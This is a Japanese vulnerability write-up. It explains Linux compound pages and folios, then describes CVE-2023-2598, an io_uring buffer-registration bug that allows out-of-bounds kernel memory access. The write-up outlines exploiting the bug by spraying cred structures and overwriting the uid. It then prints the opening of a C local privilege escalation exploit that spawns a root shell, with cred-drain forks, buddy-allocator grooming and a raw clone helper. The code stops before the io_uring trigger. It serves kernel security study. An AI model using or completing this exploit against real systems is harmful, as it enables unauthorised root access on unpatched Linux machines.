
CVE-2023-2598を通じてLinuxのCompound Pageとfolioメカニズムを理解し、その後1dayのCVE-2023-6560を利用できるか検討する。
メモリは増え続けているが、Linuxの基本ページ割り当て単位は4Kのままであり、不足が生じている。そのため、複合ページ(Compound Page)が導入された。複合ページとは、複数のページを1つの集合として扱い、2つ以上の物理的に連続したページを1つのユニットに結合するもので、多くの場面で1つの大きなページと見なすことができる。これらは主にhugetlbfsやTransparent Huge Pages(THP)サブシステムで巨大ページを作成するために使用されるが、他のシナリオでも出現する。複合ページは匿名メモリやカーネル内のバッファとして使用できるが、ページキャッシュには出現できない。ページキャッシュは単一ページのみを扱う。
複合ページの割り当ては、alloc_pages()を呼び出し、__GFP_COMPフラグとページフレーム数が1より大きい(つまりorderが1以上)を設定することで行う。これは複合ページの実装メカニズムによるものである。
注意:複合ページは必ず物理的に連続している
最初のページのflagはPG_headがマークされ、これが複合ページのヘッドページであることを示す。
それ以降のすべてのページには、mappingとcompound_headの2つの属性が設定され、compound_headを介してテールページかヘッドページかを判断する。詳細はcompound_head()関数を参照。
2番目のページには複合ページに関するより多くの情報が格納される。これが複合ページのorderが少なくとも1である理由である。
static inline unsigned long _compound_head(const struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);
if (unlikely(head & 1))
return head - 1;
return (unsigned long)page;
}
このフィールドはフラグだけでなく、ヘッドページへのポインタも含んでいる。
したがって、pageを取得したときに、それが複合ページかどうか、複合ページであればヘッドページかテールページかを容易に判断できる。しかし、複合ページのサイズという重要な情報が欠けている。このサイズが分からないと、複合ページを解放するときにサイズを知る必要がある。これらの情報はすべて最初のテールページのlruフィールドに格納されている。複合ページのサイズ(order)をまずポインタ型にキャストし、lru.prevに格納し、デストラクタをlru.nextに格納する。
ヘッドページと複合ページのサイズが分かれば、この巨大ページを正しく解放できる。なぜなら複合ページはすべて物理的に連続しているからである。
構造は以下の図の通りである。

folioはページのラッパーと見なすことができ、オーバーヘッドはない。folioは単一ページでも複合ページでもよい。

上図はpage構造体の模式図であり、64バイトでflags, lru, mapping, index, private, {ref_, map_}count, memcg_dataなどを管理する。pageが複合ページの場合、上記のflagsなどの情報はヘッドページにあり、テールページはcompound_{head, mapcount, order, nr, dtor}などの管理に再利用される。
struct folio {
/* private: don't document the anon union */
union {
struct {
/* public: */
unsigned long flags;
struct list_head lru;
struct address_space *mapping;
pgoff_t index;
void *private;
atomic_t _mapcount;
atomic_t _refcount;
#ifdef CONFIG_MEMCG
unsigned long memcg_data;
#endif
/* private: the union with struct page is transitional */
};
struct page page;
};
};
folio構造体の定義では、flags, lruなどの情報はpageと完全に一致するため、pageとunionで共用できる。これにより、folio->page->flagsではなく、直接folio->flagsを使用できる。
#define page_folio(p) (_Generic((p), \
const struct page *: (const struct folio *)_compound_head(p), \
struct page *: (struct folio *)_compound_head(p)))
#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n) nth_page(&(folio)->page, n)
最初にpage_folioを見ると混乱するかもしれないが、実質的には以下と同等である:
switch (typeof(p)) {
case const struct page *:
return (const struct folio *)_compound_head(p);
case struct page *:
return (struct folio *)_compound_head(p)));
}
page_folioマクロから分かるように、folioは実質的に複合ページのヘッドページである。folioをpageに変換する場合、folio->pageでヘッドページを取得し、folio_page(folio, n)でテールページを取得できる。
ではfolioは何のためにあるのか? 主に開発効率とパフォーマンスのためである。folioがない場合、関数内部で現在のページがヘッドページかどうかを判断できず、_compound_headを呼び出す必要がある。実行パスが多い場合、パス上のすべての関数で毎回_compound_headを使用すると効率に影響する。しかし、関数がstruct folio *パラメータのみを受け取る場合、そのfolioはヘッドページを指すため、関数内部で_compound_headを再度呼び出す必要がなくなる。
したがって、主に以下の3つの役割がある:
冗長なcompound_head呼び出しを減らす。
開発者へのヒント:folioを見れば、それがヘッドページであると認識できる。
潜在的なテールページによるバグを修正する。
io_uringのio_uring_register_bufferには、以下のようなロジックがある。

ユーザー空間から渡されたページが1より大きい場合、io_uringは渡されたbufferがfolioかどうかをチェックする。判断方法は、page_folio()を使用してそのpage[i]のヘッドページを取得し、page[i]のヘッドページがpage[0]と等しい場合、同じ複合ページテーブルに属すると見なす。
通常、この処理は問題ないが、特殊なケースが存在する。ユーザー空間でmmapを使用して同じ物理ページテーブルを連続した仮想アドレスにマッピングした場合、この条件も満たされ、最終的に以下のブランチに入る。

この時、ユーザー空間は1つの物理ページのみを要求しているが、最終的なsizeは連続仮想アドレスのサイズとなり、実際に要求した物理アドレス領域よりも大きくなる可能性がある。その結果、範囲外の読み書きが発生する。
credをスプレーし、この範囲外読み書きインターフェースを使用してuidを書き換える。
ネット上のエクスプロイトと異なり、このエクスプロイトはuidを書き換えるため、アドレス依存性がなく、脆弱性が存在する環境であれば使用可能である。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>
#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600
#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)
int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
"\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
.tv_sec = 1145141919,
.tv_nsec = 0,
};
void err_exit(char *buf){
fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
exit(-1);
}
void log(char *buf){
fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
for(int i=0;i<CRED_DRAIN;i++){
int ret=fork();
if(!ret){
read(check_root_pipe[0],child_pipe_buf,1);
if(getuid()==0){
write(1, root_str, 71);
system("/bin/sh");
}
sleep(100000000);
}
check_ret(ret,"fork fail");
}
}
void clear_buddy(){
void * pages[MAX_PAGES];
for(int i=0;i<MAX_PAGES;i++){
pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
check_ret(pages[i],"mmap");
}
for(int i=0;i<MAX_PAGES;i++){
*(char *)pages[i]='a';
}
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* for syscall, it's clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi\n" /* save the rsi*/
" xor rsi, rsi\n" /* set esp and useless args to NULL */
" xor rdx, rdx\n"
" xor r10, r10\n"
" xor r8, r8\n"
" xor r9, r9\n"
" mov rax, 56\n" /* __NR_clone */
" syscall\n"
" cmp rax, 0\n"
" je child_fn\n"
" ret\n" /* parent */
"child_fn: \n"
" jmp r15\n" /* child */
);
}